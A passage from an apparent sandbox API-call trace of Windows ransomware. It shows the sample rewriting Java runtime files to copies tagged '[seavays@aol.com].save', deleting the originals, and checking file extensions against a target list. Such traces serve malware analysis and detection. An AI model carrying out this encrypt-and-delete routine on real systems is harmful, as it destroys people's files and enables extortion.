lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4840, lpOverlapped=0x0) returned 1 [0078.819] WriteFile (in: hFile=0x388, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4850, lpOverlapped=0x0) returned 1 [0078.820] ReadFile (in: hFile=0x344, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.820] WriteFile (in: hFile=0x388, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe4, lpOverlapped=0x0) returned 1 [0078.820] SetEndOfFile (hFile=0x388) returned 1 [0078.821] CloseHandle (hObject=0x388) returned 1 [0078.821] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.821] SetEndOfFile (hFile=0x344) returned 1 [0078.826] CloseHandle (hObject=0x344) returned 1 [0078.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.826] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0078.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0078.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0078.827] lstrlenW (lpString=".doc") returned 4 [0078.827] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.827] lstrlenW (lpString=".docx") returned 5 [0078.827] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0078.827] lstrlenW (lpString=".pdf") returned 4 [0078.827] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.827] lstrlenW (lpString=".xls") returned 4 [0078.827] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.827] lstrlenW (lpString=".xlsx") returned 5 [0078.827] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0078.827] lstrlenW (lpString=".ppt") returned 4 [0078.827] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.827] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0078.827] lstrlenW (lpString=".zip") returned 4 [0078.827] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.827] lstrlenW (lpString=".rar") returned 4 [0078.827] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.827] lstrlenW (lpString=".bz2") returned 4 [0078.827] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.827] lstrlenW (lpString=".7z") returned 3 [0078.827] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0078.828] lstrlenW (lpString=".dbf") returned 4 [0078.828] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0078.828] lstrlenW (lpString=".1cd") returned 4 [0078.828] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.828] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47 [0078.828] lstrlenW (lpString=".jpg") returned 4 [0078.828] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.828] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.828] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.829] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.829] GetLastError () returned 0x0 [0078.829] ReadFile (in: hFile=0x344, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x9040, lpOverlapped=0x0) returned 1 [0078.845] WriteFile (in: hFile=0x388, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x9050, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x9050, lpOverlapped=0x0) returned 1 [0078.847] ReadFile (in: hFile=0x344, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0078.847] WriteFile (in: hFile=0x388, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf0, lpOverlapped=0x0) returned 1 [0078.847] SetEndOfFile (hFile=0x388) returned 1 [0078.847] CloseHandle (hObject=0x388) returned 1 [0078.847] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.847] SetEndOfFile (hFile=0x344) returned 1 [0078.848] CloseHandle (hObject=0x344) returned 1 [0078.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0078.849] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 1 [0078.849] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0078.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0078.850] lstrlenW (lpString=".doc") returned 4 [0078.850] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.850] lstrlenW (lpString=".docx") returned 5 [0078.850] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0078.850] lstrlenW (lpString=".pdf") returned 4 [0078.850] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.850] lstrlenW (lpString=".xls") returned 4 [0078.850] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.850] lstrlenW (lpString=".xlsx") returned 5 [0078.850] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0078.850] lstrlenW (lpString=".ppt") returned 4 [0078.850] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0078.850] lstrlenW (lpString=".zip") returned 4 [0078.850] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.850] lstrlenW (lpString=".rar") returned 4 [0078.850] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.850] lstrlenW (lpString=".bz2") returned 4 [0078.850] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.850] lstrlenW (lpString=".7z") returned 3 [0078.850] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0078.850] lstrlenW (lpString=".dbf") returned 4 [0078.850] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0078.850] lstrlenW (lpString=".1cd") returned 4 [0078.850] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0078.850] lstrlenW (lpString=".jpg") returned 4 [0078.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.888] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.888] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0078.888] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0078.889] GetLastError () returned 0x0 [0078.889] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xa12a0, lpOverlapped=0x0) returned 1 [0079.277] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0079.292] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.292] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0079.292] SetEndOfFile (hFile=0x310) returned 1 [0079.292] CloseHandle (hObject=0x310) returned 1 [0079.292] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.292] SetEndOfFile (hFile=0x2e8) returned 1 [0079.300] CloseHandle (hObject=0x2e8) returned 1 [0079.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.300] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1 [0079.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0079.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0079.301] lstrlenW (lpString=".doc") returned 4 [0079.301] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.301] lstrlenW (lpString=".docx") returned 5 [0079.301] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0079.301] lstrlenW (lpString=".pdf") returned 4 [0079.301] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.301] lstrlenW (lpString=".xls") returned 4 [0079.301] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.301] lstrlenW (lpString=".xlsx") returned 5 [0079.301] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0079.301] lstrlenW (lpString=".ppt") returned 4 [0079.301] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.301] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0079.301] lstrlenW (lpString=".zip") returned 4 [0079.302] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.302] lstrlenW (lpString=".rar") returned 4 [0079.302] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.302] lstrlenW (lpString=".bz2") returned 4 [0079.302] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.302] lstrlenW (lpString=".7z") returned 3 [0079.302] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0079.302] lstrlenW (lpString=".dbf") returned 4 [0079.302] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0079.302] lstrlenW (lpString=".1cd") returned 4 [0079.302] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.302] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0079.302] lstrlenW (lpString=".jpg") returned 4 [0079.302] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.303] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.303] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.303] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.304] GetLastError () returned 0x0 [0079.304] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x4040, lpOverlapped=0x0) returned 1 [0079.717] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x4050, lpOverlapped=0x0) returned 1 [0079.719] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.719] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xea, lpOverlapped=0x0) returned 1 [0079.719] SetEndOfFile (hFile=0x310) returned 1 [0079.719] CloseHandle (hObject=0x310) returned 1 [0079.719] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.719] SetEndOfFile (hFile=0x2e8) returned 1 [0079.721] CloseHandle (hObject=0x2e8) returned 1 [0079.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.721] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0079.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0079.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0079.722] lstrlenW (lpString=".doc") returned 4 [0079.722] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.722] lstrlenW (lpString=".docx") returned 5 [0079.722] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0079.722] lstrlenW (lpString=".pdf") returned 4 [0079.722] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.722] lstrlenW (lpString=".xls") returned 4 [0079.722] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.722] lstrlenW (lpString=".xlsx") returned 5 [0079.722] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0079.722] lstrlenW (lpString=".ppt") returned 4 [0079.722] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.722] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0079.722] lstrlenW (lpString=".zip") returned 4 [0079.722] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.722] lstrlenW (lpString=".rar") returned 4 [0079.722] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.722] lstrlenW (lpString=".bz2") returned 4 [0079.722] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.723] lstrlenW (lpString=".7z") returned 3 [0079.723] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0079.723] lstrlenW (lpString=".dbf") returned 4 [0079.723] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0079.723] lstrlenW (lpString=".1cd") returned 4 [0079.723] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0079.723] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe") returned 50 [0079.723] lstrlenW (lpString=".jpg") returned 4 [0079.723] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0079.724] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.724] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.724] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.724] GetLastError () returned 0x0 [0079.724] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0xe040, lpOverlapped=0x0) returned 1 [0079.727] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xe050, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xe050, lpOverlapped=0x0) returned 1 [0079.729] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.730] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xf4, lpOverlapped=0x0) returned 1 [0079.730] SetEndOfFile (hFile=0x310) returned 1 [0079.730] CloseHandle (hObject=0x310) returned 1 [0079.730] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.730] SetEndOfFile (hFile=0x2e8) returned 1 [0079.732] CloseHandle (hObject=0x2e8) returned 1 [0079.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.732] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 1 [0079.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0079.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0079.733] lstrlenW (lpString=".doc") returned 4 [0079.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.733] lstrlenW (lpString=".docx") returned 5 [0079.733] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0079.734] lstrlenW (lpString=".pdf") returned 4 [0079.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.734] lstrlenW (lpString=".xls") returned 4 [0079.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.734] lstrlenW (lpString=".xlsx") returned 5 [0079.734] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0079.734] lstrlenW (lpString=".ppt") returned 4 [0079.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0079.734] lstrlenW (lpString=".zip") returned 4 [0079.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.734] lstrlenW (lpString=".rar") returned 4 [0079.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.734] lstrlenW (lpString=".bz2") returned 4 [0079.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.734] lstrlenW (lpString=".7z") returned 3 [0079.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0079.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0079.734] lstrlenW (lpString=".dbf") returned 4 [0079.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0079.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0079.734] lstrlenW (lpString=".1cd") returned 4 [0079.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0079.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll") returned 55 [0079.734] lstrlenW (lpString=".jpg") returned 4 [0079.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0079.736] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.736] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0079.737] GetLastError () returned 0x0 [0079.737] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x1fe40, lpOverlapped=0x0) returned 1 [0079.741] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x1fe50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1fe50, lpOverlapped=0x0) returned 1 [0079.745] ReadFile (in: hFile=0x2e8, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0079.745] WriteFile (in: hFile=0x310, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0xee, lpOverlapped=0x0) returned 1 [0079.745] SetEndOfFile (hFile=0x310) returned 1 [0079.745] CloseHandle (hObject=0x310) returned 1 [0079.745] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0079.746] SetEndOfFile (hFile=0x2e8) returned 1 [0079.748] CloseHandle (hObject=0x2e8) returned 1 [0079.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0079.748] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 1 [0079.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0079.749] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0079.749] lstrlenW (lpString=".doc") returned 4 [0079.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0079.749] lstrlenW (lpString=".docx") returned 5 [0079.749] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0079.749] lstrlenW (lpString=".pdf") returned 4 [0079.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0079.749] lstrlenW (lpString=".xls") returned 4 [0079.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0079.749] lstrlenW (lpString=".xlsx") returned 5 [0079.749] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0079.749] lstrlenW (lpString=".ppt") returned 4 [0079.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0079.750] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll") returned 52 [0079.750] lstrlenW (lpString=".zip") returned 4 [0079.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0079.750] lstrlenW (lpString=".rar") returned 4 [0079.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0079.750] lstrlenW (lpString=".bz2") returned 4 [0079.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0079.750] lstrlenW (lpString=".7z") returned 3 